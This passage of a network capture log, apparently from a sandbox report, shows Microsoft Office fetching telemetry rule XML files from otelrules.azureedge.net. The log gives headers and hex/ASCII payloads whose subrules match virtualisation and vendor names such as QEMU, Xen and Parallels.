2024-10-31 00:18:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: ea7dc698-001e-0066-60bf-2a561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001835Z-15b8d89586f8nxpt6ys645x5v000000009z000000000esde x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:35 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:35 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: b357c660-c01e-008e-6e16-297381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001835Z-15b8d89586f8l5961kfst8fpb00000000mp0000000007vtr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:35 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:35 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:35 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 10f07cf3-601e-0070-28ce-2aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001835Z-159b85dff8fprglthC1DFW8zcg00000000eg000000008895 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:35 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:35 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:35 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 151676fb-b01e-0084-4068-28d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001835Z-15b8d89586fpccrmgpemqdqe5800000003qg000000005378 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:35 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:35 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:35 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 19dd884a-801e-00a3-03cd-2a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001835Z-159b85dff8f46f6ghC1DFW1p0n000000014g00000000067s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:35 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:36 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:36 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001836Z-16849878b786lft2mu9uftf3y40000000a1000000000bh6a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:36 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:36 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:36 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1d33856d-201e-000c-0612-2979c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001836Z-17c5cb586f6r59nt4rzfbx40ys00000000z000000000cbc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:36 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:36 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: ff288f8c-c01e-007a-5a0e-26b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001836Z-17c5cb586f62vrfquq10qybcuw00000001vg000000000ysx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:36 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:36 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001836Z-16849878b78fhxrnedubv5byks0000000760000000001x8z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:36 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:36 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:36 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001836Z-16849878b78fhxrnedubv5byks000000075g000000003vz7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:36 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:37 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:37 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001837Z-16849878b78smng4k6nq15r6s40000000a9g00000000arkk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:37 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:37 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:38 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 37a25f3a-c01e-00ad-392a-2ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001837Z-17c5cb586f659tsm88uwcmn6s4000000017000000000dtha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-31 00:18:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
